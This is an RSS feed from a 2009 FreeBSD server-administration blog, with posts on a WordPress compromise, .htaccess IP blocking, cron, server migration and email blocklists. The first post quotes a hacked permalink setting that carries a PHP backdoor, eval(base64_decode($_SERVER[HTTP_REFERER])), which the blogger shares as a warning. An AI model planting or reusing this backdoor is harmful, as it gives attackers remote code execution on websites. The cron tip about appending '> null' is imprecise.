<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/rss2full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><rss version="2.0"><channel><title>FreeBSD Blog</title><link>http://www.freebsdblog.org</link><description>Focused on dedicated server administration</description><language>en</language><generator>http://wordpress.org/?v=2.7.1</generator><sy:updatePeriod xmlns:sy="http://purl.org/rss/1.0/modules/syndication/">hourly</sy:updatePeriod><sy:updateFrequency xmlns:sy="http://purl.org/rss/1.0/modules/syndication/">1</sy:updateFrequency><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" href="http://feeds.feedburner.com/freebsdadmin" type="application/rss+xml" /><feedburner:emailServiceId xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0">freebsdadmin</feedburner:emailServiceId><feedburner:feedburnerHostname xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0">http://feedburner.google.com</feedburner:feedburnerHostname><feedburner:feedFlare xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" href="http://add.my.yahoo.com/rss?url=http%3A%2F%2Ffeeds.feedburner.com%2Ffreebsdadmin" src="http://us.i1.yimg.com/us.yimg.com/i/us/my/addtomyyahoo4.gif">Subscribe with My Yahoo!</feedburner:feedFlare><feedburner:feedFlare xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" href="http://www.newsgator.com/ngs/subscriber/subext.aspx?url=http%3A%2F%2Ffeeds.feedburner.com%2Ffreebsdadmin" src="http://www.newsgator.com/images/ngsub1.gif">Subscribe with NewsGator</feedburner:feedFlare><feedburner:feedFlare xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" href="http://feeds.my.aol.com/add.jsp?url=http%3A%2F%2Ffeeds.feedburner.com%2Ffreebsdadmin" src="http://o.aolcdn.com/favorites.my.aol.com/webmaster/ffclient/webroot/locale/en-US/images/myAOLButtonSmall.gif">Subscribe with My AOL</feedburner:feedFlare><feedburner:feedFlare xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" href="http://www.bloglines.com/sub/http://feeds.feedburner.com/freebsdadmin" src="http://www.bloglines.com/images/sub_modern11.gif">Subscribe with Bloglines</feedburner:feedFlare><feedburner:feedFlare xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" href="http://www.netvibes.com/subscribe.php?url=http%3A%2F%2Ffeeds.feedburner.com%2Ffreebsdadmin" src="http://www.netvibes.com/img/add2netvibes.gif">Subscribe with Netvibes</feedburner:feedFlare><feedburner:feedFlare xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" href="http://fusion.google.com/add?feedurl=http%3A%2F%2Ffeeds.feedburner.com%2Ffreebsdadmin" src="http://buttons.googlesyndication.com/fusion/add.gif">Subscribe with Google</feedburner:feedFlare><feedburner:feedFlare xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" href="http://www.pageflakes.com/subscribe.aspx?url=http%3A%2F%2Ffeeds.feedburner.com%2Ffreebsdadmin" src="http://www.pageflakes.com/ImageFile.ashx?instanceId=Static_4&amp;fileName=ATP_blu_91x17.gif">Subscribe with Pageflakes</feedburner:feedFlare><feedburner:feedFlare xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" href="http://www.plusmo.com/add?url=http%3A%2F%2Ffeeds.feedburner.com%2Ffreebsdadmin" src="http://plusmo.com/res/graphics/fbplusmo.gif">Subscribe with Plusmo</feedburner:feedFlare><feedburner:feedFlare xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" href="http://www.thefreedictionary.com/_/hp/AddRSS.aspx?http%3A%2F%2Ffeeds.feedburner.com%2Ffreebsdadmin" src="http://img.tfd.com/hp/addToTheFreeDictionary.gif">Subscribe with The Free Dictionary</feedburner:feedFlare><feedburner:feedFlare xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" href="http://www.bitty.com/manual/?contenttype=rssfeed&amp;contentvalue=http%3A%2F%2Ffeeds.feedburner.com%2Ffreebsdadmin" src="http://www.bitty.com/img/bittychicklet_91x17.gif">Subscribe with Bitty Browser</feedburner:feedFlare><feedburner:feedFlare xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" href="http://www.newsalloy.com/?rss=http%3A%2F%2Ffeeds.feedburner.com%2Ffreebsdadmin" src="http://www.newsalloy.com/subrss3.gif">Subscribe with NewsAlloy</feedburner:feedFlare><feedburner:feedFlare xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" href="http://www.live.com/?add=http%3A%2F%2Ffeeds.feedburner.com%2Ffreebsdadmin" src="http://tkfiles.storage.msn.com/x1piYkpqHC_35nIp1gLE68-wvzLZO8iXl_JMledmJQXP-XTBOLfmQv4zhj4MhcWEJh_GtoBIiAl1Mjh-ndp9k47If7hTaFno0mxW9_i3p_5qQw">Subscribe with Live.com</feedburner:feedFlare><feedburner:feedFlare xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" href="http://mix.excite.eu/add?feedurl=http%3A%2F%2Ffeeds.feedburner.com%2Ffreebsdadmin" src="http://image.excite.co.uk/mix/addtomix.gif">Subscribe with Excite MIX</feedburner:feedFlare><feedburner:feedFlare xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" href="http://www.yourminis.com/subscribe.aspx?u=http%3A%2F%2Ffeeds.feedburner.com%2Ffreebsdadmin" src="http://www.yourminis.com/images/addtoyourminisbadge.gif">Subscribe with Yourminis.com</feedburner:feedFlare><feedburner:feedFlare xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" href="http://download.attensa.com/app/get_attensa.html?feedurl=http%3A%2F%2Ffeeds.feedburner.com%2Ffreebsdadmin" src="http://www.attensa.com/blogs/attensa/WindowsLiveWriter/BadgeredintoBadges_10C02/attensa_feed_button5.gif">Subscribe with Attensa for Outlook</feedburner:feedFlare><feedburner:feedFlare xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" href="http://www.webwag.com/wwgthis.php?url=http%3A%2F%2Ffeeds.feedburner.com%2Ffreebsdadmin" src="http://www.webwag.com/images/wwgthis.gif">Subscribe with Webwag</feedburner:feedFlare><feedburner:feedFlare xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" href="http://hub.netomat.net/account/account.autoSubscribe.jspa?urls=http%3A%2F%2Ffeeds.feedburner.com%2Ffreebsdadmin" src="http://www.netomat.net/blogger/images/icon_netomat_feedbutton.gif">Subscribe with netomat Hub</feedburner:feedFlare><feedburner:feedFlare xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" href="http://www.podcastready.com/oneclick_bookmark.php?url=http%3A%2F%2Ffeeds.feedburner.com%2Ffreebsdadmin" src="http://www.podcastready.com/images/podcastready_button.gif">Subscribe with Podcast Ready</feedburner:feedFlare><feedburner:feedFlare xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" href="http://www.flurry.com/pushRssFeed.do?r=fb&amp;url=http%3A%2F%2Ffeeds.feedburner.com%2Ffreebsdadmin" src="http://www.flurry.com/images/flurry_rss_logo2.gif">Subscribe with Flurry</feedburner:feedFlare><feedburner:feedFlare xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" href="http://www.wikio.com/subscribe?url=http%3A%2F%2Ffeeds.feedburner.com%2Ffreebsdadmin" src="http://www.wikio.com/shared/img/add2wikio.gif">Subscribe with Wikio</feedburner:feedFlare><feedburner:feedFlare xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" href="http://www.dailyrotation.com/index.php?feed=http%3A%2F%2Ffeeds.feedburner.com%2Ffreebsdadmin" src="http://www.dailyrotation.com/rss-dr2.gif">Subscribe with Daily Rotation</feedburner:feedFlare><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com" /><item><title>Urgent Security Warning for WordPress</title><link>http://www.freebsdblog.org/324/urgent-security-warning-for-wordpress/</link><category>Security</category><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">KP</dc:creator><pubDate>Fri, 04 Sep 2009 09:29:52 PDT</pubDate><guid isPermaLink="true">http://www.freebsdblog.org/324/urgent-security-warning-for-wordpress/</guid><content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<p>I just found that my two wordpress blogs were hacked, the permanent link structure was changed to:</p>
<p>/%year%/%monthnum%/%day%/%postname%/%&amp;({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&amp;%/</p>
<p>This caused the individual posts couldn&#8217;t be accessed.</p>
<p>I don&#8217;t know how this was hacked, and what other damages were caused. For now, a urgent solution would be <a href="http://www.freebsdblog.org/30/protect-directory/">protecting wp-admin directory</a>.</p>
<p>I have seen some other hacked blogs, I strongly suggest you take actions immediately. The above might not be a good solution, but should be helpful.</p>


<p>Related posts:<ol><li><a href='http://www.freebsdblog.org/115/another-hack-on-third-party-script/' rel='bookmark' title='Permanent Link: Another Hack on Third-party Script'>Another Hack on Third-party Script</a></li><li><a href='http://www.freebsdblog.org/75/security-discussion/' rel='bookmark' title='Permanent Link: Security Discussion'>Security Discussion</a></li><li><a href='http://www.freebsdblog.org/206/converted-to-wordpress/' rel='bookmark' title='Permanent Link: Converted to WordPress'>Converted to WordPress</a></li></ol></p>]]></content:encoded><description>I just found that my two wordpress blogs were hacked, the permanent link structure was changed to:
/%year%/%monthnum%/%day%/%postname%/%&amp;#38;({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}&amp;#124;.+)&amp;#38;%/
This caused the individual posts couldn&amp;#8217;t be accessed.
I don&amp;#8217;t know how this was hacked, and what other damages were caused. For now, a urgent solution would be protecting wp-admin directory.
I have seen some other hacked blogs, I strongly suggest [...]</description><wfw:commentRss xmlns:wfw="http://wellformedweb.org/CommentAPI/">http://www.freebsdblog.org/324/urgent-security-warning-for-wordpress/feed/</wfw:commentRss></item><item><title>Stop the Most Annoying Spammers</title><link>http://www.freebsdblog.org/322/stop-the-most-annoying-spammers/</link><category>Apache</category><category>MySQL</category><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">KP</dc:creator><pubDate>Mon, 03 Aug 2009 06:48:30 PDT</pubDate><guid isPermaLink="true">http://www.freebsdblog.org/322/stop-the-most-annoying-spammers/</guid><content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<p>Some spammers are very stupid and persistent,  they don&#8217;t care about the results, and keep spamming for months and even years. They combine manual and automate ways to post spams, the only way to stop them is blocking their IPs.</p>
<p><span id="more-322"></span>Here is what I do to stop these stupid spammers, put the following lines into .htaccess file.</p>
<blockquote><p>&lt;Limit POST&gt;<br />
order allow,deny</p>
<p>deny from 192.168.100.0/24<br />
deny from 192.168.0.0/16</p>
<p>allow from all<br />
&lt;/Limit&gt;</p></blockquote>
<p>After editing the file several times, such as extending C block to B block, or adding some subnets, the spammers finally disappeared completely.</p>


<p>Related posts:<ol><li><a href='http://www.freebsdblog.org/213/how-to-stop-a-cron-job-or-email-notification/' rel='bookmark' title='Permanent Link: How to Stop a Cron Job or Email Notification'>How to Stop a Cron Job or Email Notification</a></li><li><a href='http://www.freebsdblog.org/124/horrible-support/' rel='bookmark' title='Permanent Link: Horrible Support'>Horrible Support</a></li><li><a href='http://www.freebsdblog.org/321/htaccess-error/' rel='bookmark' title='Permanent Link: .htaccess error'>.htaccess error</a></li></ol></p>]]></content:encoded><description>Some spammers are very stupid and persistent,  they don&amp;#8217;t care about the results, and keep spamming for months and even years. They combine manual and automate ways to post spams, the only way to stop them is blocking their IPs.
Here is what I do to stop these stupid spammers, put the following lines into .htaccess [...]</description><wfw:commentRss xmlns:wfw="http://wellformedweb.org/CommentAPI/">http://www.freebsdblog.org/322/stop-the-most-annoying-spammers/feed/</wfw:commentRss></item><item><title>.htaccess error</title><link>http://www.freebsdblog.org/321/htaccess-error/</link><category>Apache</category><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">KP</dc:creator><pubDate>Sun, 19 Jul 2009 01:54:55 PDT</pubDate><guid isPermaLink="true">http://www.freebsdblog.org/321/htaccess-error/</guid><content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<p>My site got &#8216;internal server configuration&#8217; errors, the Apache error log file for this domain has the following error message:</p>
<blockquote><p>.htaccess: order takes one argument, &#8216;allow,deny&#8217;, &#8216;deny,allow&#8217;, or &#8216;mutual-failure&#8217;</p></blockquote>
<p><span id="more-321"></span><br />
After checking .htaccess file again and again, it turned out to be the following line:</p>
<blockquote><p>order allow, deny</p></blockquote>
<p>I added an extra space before &#8216;deny&#8217; (coding habits), the problem was fixed after I removed the space. I&#8217;m very surprised that Apache can&#8217;t tolerate an extra space.</p>


<p>Related posts:<ol><li><a href='http://www.freebsdblog.org/38/mt-blacklist-error-byte-order-is-not-compatible/' rel='bookmark' title='Permanent Link: MT-Blacklist Error : Byte Order Is Not Compatible'>MT-Blacklist Error : Byte Order Is Not Compatible</a></li><li><a href='http://www.freebsdblog.org/322/stop-the-most-annoying-spammers/' rel='bookmark' title='Permanent Link: Stop the Most Annoying Spammers'>Stop the Most Annoying Spammers</a></li><li><a href='http://www.freebsdblog.org/41/more-about-apache-log-file-rotation/' rel='bookmark' title='Permanent Link: More About Apache Log File Rotation'>More About Apache Log File Rotation</a></li></ol></p>]]></content:encoded><description>My site got &amp;#8216;internal server configuration&amp;#8217; errors, the Apache error log file for this domain has the following error message:
.htaccess: order takes one argument, &amp;#8216;allow,deny&amp;#8217;, &amp;#8216;deny,allow&amp;#8217;, or &amp;#8216;mutual-failure&amp;#8217;

After checking .htaccess file again and again, it turned out to be the following line:
order allow, deny
I added an extra space before &amp;#8216;deny&amp;#8217; (coding habits), the problem was [...]</description><wfw:commentRss xmlns:wfw="http://wellformedweb.org/CommentAPI/">http://www.freebsdblog.org/321/htaccess-error/feed/</wfw:commentRss></item><item><title>How to Stop a Cron Job or Email Notification</title><link>http://www.freebsdblog.org/213/how-to-stop-a-cron-job-or-email-notification/</link><category>FreeBSD General</category><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">KP</dc:creator><pubDate>Sun, 29 Mar 2009 17:42:33 PDT</pubDate><guid isPermaLink="false">http://www.freebsdblog.org/?p=213</guid><content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<p>From the log stats, I found many people were wondering how to stop a <a href="http://www.freebsdblog.org/6/cron-job/">cron job</a> or its email notification. To stop a cron job, just remove the command by editing the cron job:<span id="more-213"></span></p>
<p><font color=#990000># crontab -e</font></p>
<p>It will open your crob job file with your default editor. If you want to stop emails for all commands, simply remove the first email line. To stop email for certain command, append &#8216;> null&#8217; to that command.</p>


<p>Related posts:<ol><li><a href='http://www.freebsdblog.org/6/cron-job/' rel='bookmark' title='Permanent Link: Cron Job'>Cron Job</a></li><li><a href='http://www.freebsdblog.org/36/spam-email/' rel='bookmark' title='Permanent Link: Spam Email'>Spam Email</a></li><li><a href='http://www.freebsdblog.org/111/email-blocked-by-bellsouth/' rel='bookmark' title='Permanent Link: Email Blocked by BellSouth'>Email Blocked by BellSouth</a></li></ol></p>]]></content:encoded><description>From the log stats, I found many people were wondering how to stop a cron job or its email notification. To stop a cron job, just remove the command by editing the cron job:
# crontab -e
It will open your crob job file with your default editor. If you want to stop emails for all commands, [...]</description><wfw:commentRss xmlns:wfw="http://wellformedweb.org/CommentAPI/">http://www.freebsdblog.org/213/how-to-stop-a-cron-job-or-email-notification/feed/</wfw:commentRss></item><item><title>Scary Moment</title><link>http://www.freebsdblog.org/215/scary/</link><category>Security</category><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">KP</dc:creator><pubDate>Sun, 29 Mar 2009 17:35:51 PDT</pubDate><guid isPermaLink="false">http://www.freebsdblog.org/?p=215</guid><content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<p>When I was starting Apache after installed a new PHP module, I found that httpd.conf is missing, that was scary! I have absolutely no idea how this happened, the only possible reason is that I deleted it by accident. <span id="more-215"></span></p>
<p>I always switch to root account after login, it&#8217;s convenient, and I&#8217;m lazy. But, how could I delete such an important file? Maybe I need to use sudo from now on.</p>


<p>No related posts.</p>]]></content:encoded><description>When I was starting Apache after installed a new PHP module, I found that httpd.conf is missing, that was scary! I have absolutely no idea how this happened, the only possible reason is that I deleted it by accident. 
I always switch to root account after login, it&amp;#8217;s convenient, and I&amp;#8217;m lazy. But, how could [...]</description><wfw:commentRss xmlns:wfw="http://wellformedweb.org/CommentAPI/">http://www.freebsdblog.org/215/scary/feed/</wfw:commentRss></item><item><title>Converted to WordPress</title><link>http://www.freebsdblog.org/206/converted-to-wordpress/</link><category>Misc</category><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">KP</dc:creator><pubDate>Tue, 17 Mar 2009 17:52:45 PDT</pubDate><guid isPermaLink="false">http://www.freebsdblog.org/?p=206</guid><content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<p>MovableType suddenly stopped working, I couldn&#8217;t publish new posts any more. So I took the chance to convert it to WordPress.</p>


<p>Related posts:<ol><li><a href='http://www.freebsdblog.org/324/urgent-security-warning-for-wordpress/' rel='bookmark' title='Permanent Link: Urgent Security Warning for WordPress'>Urgent Security Warning for WordPress</a></li></ol></p>]]></content:encoded><description>MovableType suddenly stopped working, I couldn&amp;#8217;t publish new posts any more. So I took the chance to convert it to WordPress.


Related posts:Urgent Security Warning for WordPress</description><wfw:commentRss xmlns:wfw="http://wellformedweb.org/CommentAPI/">http://www.freebsdblog.org/206/converted-to-wordpress/feed/</wfw:commentRss></item><item><title>Another FreeBSD Blog</title><link>http://www.freebsdblog.org/130/another-freebsd-blog/</link><category>FreeBSD General</category><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">KP</dc:creator><pubDate>Fri, 13 Mar 2009 04:35:18 PDT</pubDate><guid isPermaLink="false">http://www.freebsdblog.org/wp/?p=130</guid><content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<p>Here is another FreeBSD blog: <a href="http://www.realfreebsdtips.com">Real FreeBSD Tips</a>, it looks quite professional. Still too few FreeBSd blogs out there, FreeBSD deserves much more attention. I have no idea how many servers are running FreeBSD, but it should be a very small number compared to Linux.</p>


<p>Related posts:<ol><li><a href='http://www.freebsdblog.org/4/about-this-blog/' rel='bookmark' title='Permanent Link: About This Blog'>About This Blog</a></li><li><a href='http://www.freebsdblog.org/81/beastie-blog/' rel='bookmark' title='Permanent Link: Beastie Blog'>Beastie Blog</a></li><li><a href='http://www.freebsdblog.org/37/be-a-professional-or-get-a-professional/' rel='bookmark' title='Permanent Link: Be a Professional or Get a Professional?'>Be a Professional or Get a Professional?</a></li></ol></p>]]></content:encoded><description>Here is another FreeBSD blog: Real FreeBSD Tips, it looks quite professional. Still too few FreeBSd blogs out there, FreeBSD deserves much more attention. I have no idea how many servers are running FreeBSD, but it should be a very small number compared to Linux.


Related posts:About This BlogBeastie BlogBe a Professional or Get a Professional?</description><wfw:commentRss xmlns:wfw="http://wellformedweb.org/CommentAPI/">http://www.freebsdblog.org/130/another-freebsd-blog/feed/</wfw:commentRss></item><item><title>Email ISP</title><link>http://www.freebsdblog.org/129/email-isp/</link><category>Email</category><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">KP</dc:creator><pubDate>Thu, 12 Mar 2009 04:50:51 PDT</pubDate><guid isPermaLink="false">http://www.freebsdblog.org/wp/?p=129</guid><content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<p>Finally, AOL unblocked my new IP, their <a href="http://postmaster.info.aol.com/cgi-bin/fbl.pl">Feedback Loop Request Form</a> doesn&#8217;t seem to work, I joined two times and was approved too, but nothing happened. The unblock was done after I got a personal reply to my direct email request.</p>
<p>Here are some other email ISPs I have dealt with:<span id="more-129"></span></p>
<p>1. Hotmail/MSN/Live: They work the same way in terms of IP controlling. The easiest email service to deal with, they unblocked my IP within 24 hours and replied to my request very politely. Only one drawback: I wasn&#8217;t able to find their unblock request form, got it from a forum thread after some searching.</p>
<p>2. Bellsouth.net: also quick to respond and take action.</p>
<p>3. Comcast.net: they don&#8217;t care.</p>
<p>Before you move to a new server, you should setup <a href="http://www.freebsdblog.org/103/reverse-dns/">reverse DNS</a> first - usually you have to ask your ISP to do it, my current ISP, softlayer, is good, I can do it by myself in the control panel.</p>
<p>If you find your IP was blocked by some email services, the best way should be simply using a different IP (Usually, dedicated sever comes with a few usable IPs), I don&#8217;t know why I don&#8217;t want to do that way, maybe I want every IP to be clean.</p>


<p>Related posts:<ol><li><a href='http://www.freebsdblog.org/111/email-blocked-by-bellsouth/' rel='bookmark' title='Permanent Link: Email Blocked by BellSouth'>Email Blocked by BellSouth</a></li><li><a href='http://www.freebsdblog.org/103/reverse-dns/' rel='bookmark' title='Permanent Link: Reverse DNS'>Reverse DNS</a></li><li><a href='http://www.freebsdblog.org/127/move-a-server/' rel='bookmark' title='Permanent Link: Move a Server'>Move a Server</a></li></ol></p>]]></content:encoded><description>Finally, AOL unblocked my new IP, their Feedback Loop Request Form doesn&amp;#8217;t seem to work, I joined two times and was approved too, but nothing happened. The unblock was done after I got a personal reply to my direct email request.
Here are some other email ISPs I have dealt with:
1. Hotmail/MSN/Live: They work the same [...]</description><wfw:commentRss xmlns:wfw="http://wellformedweb.org/CommentAPI/">http://www.freebsdblog.org/129/email-isp/feed/</wfw:commentRss></item><item><title>Official FreeBSD Forum</title><link>http://www.freebsdblog.org/128/official-freebsd-forum/</link><category>FreeBSD General</category><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">KP</dc:creator><pubDate>Mon, 09 Mar 2009 19:59:43 PDT</pubDate><guid isPermaLink="false">http://www.freebsdblog.org/wp/?p=128</guid><content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<p>I just found the <a href="http://forums.freebsd.org/">official FreeBSD forums</a>, it&#8217;s also using my favorite forum software, nice. I prefer web-based forums to milling-lists, newsgroups or IRC rooms, I can never get used to them. Finally, I got a place to hang out.</p>


<p>Related posts:<ol><li><a href='http://www.freebsdblog.org/44/freebsd-resource/' rel='bookmark' title='Permanent Link: FreeBSD Resource'>FreeBSD Resource</a></li><li><a href='http://www.freebsdblog.org/50/freebsd-reviews/' rel='bookmark' title='Permanent Link: FreeBSD Reviews'>FreeBSD Reviews</a></li></ol></p>]]></content:encoded><description>I just found the official FreeBSD forums, it&amp;#8217;s also using my favorite forum software, nice. I prefer web-based forums to milling-lists, newsgroups or IRC rooms, I can never get used to them. Finally, I got a place to hang out.


Related posts:FreeBSD ResourceFreeBSD Reviews</description><wfw:commentRss xmlns:wfw="http://wellformedweb.org/CommentAPI/">http://www.freebsdblog.org/128/official-freebsd-forum/feed/</wfw:commentRss></item><item><title>Move a Server</title><link>http://www.freebsdblog.org/127/move-a-server/</link><category>FreeBSD General</category><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">KP</dc:creator><pubDate>Sun, 08 Mar 2009 20:07:48 PDT</pubDate><guid isPermaLink="false">http://www.freebsdblog.org/wp/?p=127</guid><content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<p>In the last 6 months, I have rebuilt my server four times due to ISP change or hard disk problems. <strong>Minimal down time</strong> and <strong>data consistency</strong> are two most factors when move to a new server. Here&#8217;s how I usually move a server:<span id="more-127"></span></p>
<p><strong>Step 1. Build the new server</strong><br />
Install and configure all required programs, such as Bind, Apache, PHP, MySQL, Postfix.</p>
<p>I use one user account for each website. adduser command has &#8216;-f&#8217; option for batch adding users.</p>
<p>Create all databases and user accounts, this can be done with a MySQL script (reusable as well).</p>
<p>There is no harry to do this step as the transfer hasn&#8217;t started yet.</p>
<p><strong>Step 2. Backup data on old server</strong><br />
I always directly tar MySQL data directory. I will stop Apache and MySQL for 10 minutes, it is acceptable to me.<br />
<!--more--><br />
<strong>Step 3. Copy data to the new server</strong><br />
100MB port is very helpful at this moment :-).</p>
<p><strong>Step 4. Restore the data on the new server</strong><br />
Extract the big file and move the data to corresponding directories. I have created a script before step 2. This step only took a few minutes. The script looks like:<br />
<span style="color: #000099;"><br />
#!/bin/sh<br />
mv /backup/transfer/account1/www/ /home/account1/<br />
mv /backup/transfer/account2/www/ /home/account2/<br />
&#8230;<br />
mv /backup/transfer/db/mysql/database1/* /var/db/mysql/database2/<br />
mv /backup/transfer/db/mysql/database2/* /var/db/mysql/database2/<br />
&#8230;</span></p>
<p>This is the best way I can think of to restore the data, all file attributes will be retained, only a couple of commands to do the job.</p>
<p><strong>Step 5. Now the transfer is finished.</strong><br />
Start applications on the new server, it&#8217;s now ready to accept connections. Modify domain records if needed.</p>
<p>Some websites may not work immediately, but usually they are simple errors such as PHP.ini configuration or wrong DB password. The is my favorite part, some simple checks here and there to make them work magically. <img src='http://www.freebsdblog.org/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
<p><strong>Step 6.  Modify the DNS zone files (www IP) on the old server.</strong><br />
Bind on old server will still get lots of queries for a few hours, but it will redirect the visits to the new server.</p>
<p><strong>Summary</strong><br />
The time that step 2 takes is the down time, less than 20 minutes.</p>
<p>Step 3 and 4 may take from 10 minutes up to an hour, this time may cause inconsistent data, especially when there are active forums.</p>
<p>Every time I move to a new server, I always have to deal with one or two email service providers. So far, I have contacted bellsouth.net, comcast, hotmail, etc. This time, it&#8217;s AOL, they haven&#8217;t unblocked my new IP after three days. I hate this part, there is nothing I can do except for sending them polite emails.</p>


<p>Related posts:<ol><li><a href='http://www.freebsdblog.org/5/recursively-ftp-files/' rel='bookmark' title='Permanent Link: Recursively FTP Files'>Recursively FTP Files</a></li><li><a href='http://www.freebsdblog.org/13/server-is-ready/' rel='bookmark' title='Permanent Link: Server Is Ready'>Server Is Ready</a></li><li><a href='http://www.freebsdblog.org/12/new-unmanaged-server/' rel='bookmark' title='Permanent Link: New Unmanaged Server'>New Unmanaged Server</a></li></ol></p>]]></content:encoded><description>In the last 6 months, I have rebuilt my server four times due to ISP change or hard disk problems. Minimal down time and data consistency are two most factors when move to a new server. Here&amp;#8217;s how I usually move a server:
Step 1. Build the new server
Install and configure all required programs, such as [...]</description><wfw:commentRss xmlns:wfw="http://wellformedweb.org/CommentAPI/">http://www.freebsdblog.org/127/move-a-server/feed/</wfw:commentRss></item><item><title>Moved Out</title><link>http://www.freebsdblog.org/126/moved-out/</link><category>General</category><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">KP</dc:creator><pubDate>Wed, 04 Mar 2009 19:52:06 PST</pubDate><guid isPermaLink="false">http://www.freebsdblog.org/wp/?p=126</guid><content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<p>The problem, which should never have happened, happened again just two days later, caused another 4 hours down time. Burst.net must hate me, I can&#8217;t understand why they stopped routing my IPs, again!<br />
<span id="more-126"></span><br />
Followed <a href="http://beastieblog.com/?p=67">Dale&#8217;s post</a>, I moved to SoftLayer, everything is great so far. After I left LayeredTech, I didn&#8217;t have much luck with the hosting. Hopefully I can have a longer uninterrupted service with SoftLayer.</p>
<p>I&#8217;ve never given bad reviews before burst.net, so to be fair, I should say something good about them:</p>
<p>1. Price is excellent.<br />
2. Very good connection to Asia.</p>
<p>If the IP routing problems didn&#8217;t happen, I probably will stay with them. Faulty hardware and network outage shouldn&#8217;t happen often, I can live with the poor support as well. But after the IP routing problems, I realized anything could happen with them, anything!</p>


<p>Related posts:<ol><li><a href='http://www.freebsdblog.org/122/network-outage/' rel='bookmark' title='Permanent Link: Network Outage'>Network Outage</a></li><li><a href='http://www.freebsdblog.org/123/another-network-problem/' rel='bookmark' title='Permanent Link: Another Network Problem'>Another Network Problem</a></li></ol></p>]]></content:encoded><description>The problem, which should never have happened, happened again just two days later, caused another 4 hours down time. Burst.net must hate me, I can&amp;#8217;t understand why they stopped routing my IPs, again!

Followed Dale&amp;#8217;s post, I moved to SoftLayer, everything is great so far. After I left LayeredTech, I didn&amp;#8217;t have much luck with the [...]</description><wfw:commentRss xmlns:wfw="http://wellformedweb.org/CommentAPI/">http://www.freebsdblog.org/126/moved-out/feed/</wfw:commentRss></item><item><title>Monitor MySQL Log File</title><link>http://www.freebsdblog.org/125/monitor-mysql-log-file/</link><category>MySQL</category><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">KP</dc:creator><pubDate>Mon, 02 Mar 2009 13:58:18 PST</pubDate><guid isPermaLink="false">http://www.freebsdblog.org/wp/?p=125</guid><content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<p>I rarely check MySQL log file, but recently I got some table corruption errors, and it&#8217;s hard to notice these errors, especially when these tables are not critical. I realized that it&#8217;s necessary to monitor MySQL log file. According to <a href="http://dev.mysql.com/doc/refman/5.1/en/error-log.html">MySQL manual</a>, before version 5.1.20, it&#8217;s not possible to log MySQL errors to syslog. I&#8217;m still using 5.0, so I added the following line to cron job of my root account:</p>
<p><font color="#000099">30 2 * * * tail -n 50 /var/db/mysql/<em>hostname</em>.err</font></p>
<p>Now I get notification email daily (no email if it&#8217;s empty), not a bad solution.</p>


